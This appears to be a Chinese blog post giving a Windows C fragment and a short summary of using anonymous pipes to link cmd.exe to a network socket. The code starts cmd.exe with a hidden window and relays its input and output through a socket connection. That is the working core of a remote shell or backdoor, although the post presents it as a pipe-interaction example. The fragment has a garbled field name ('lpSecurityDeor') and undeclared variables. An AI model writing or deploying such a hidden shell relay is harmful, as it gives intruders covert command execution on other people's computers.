SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDeor=0;
sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);//创建两个匿名管道
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//将匿名管道和cmd.exe的输入输出关联
unsigned long lBytesRead;
while(1)
{
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);//管道是否有数据可读
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);//读取管道里的数据
if(!ret)
break;
ret=send(clientFD,Buff,lBytesRead,0);//将cmd.exe的输出通过socket发送到客户端
if(ret<=0)
break;
}
else
{
lBytesRead=recv(clientFD,Buff,1024,0);//将socket数据读出
if(lBytesRead<=0)
break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);//将接收到的客户端输入写进管道作为cmd.exe输入
send(clientFD,Buff,lBytesRead,0);
if(!ret) break;
}
}
本文介绍了一个使用匿名管道实现应用程序与cmd命令行界面进行双向交互的例子。通过创建两个匿名管道并将其与cmd进程的标准输入和标准输出关联,实现了从外部接收指令并在cmd中执行的功能,同时能够获取cmd执行结果并返回给外部。此过程涉及Windows API函数如CreatePipe、CreateProcess、ReadFile等。
3178

被折叠的 条评论
为什么被折叠?



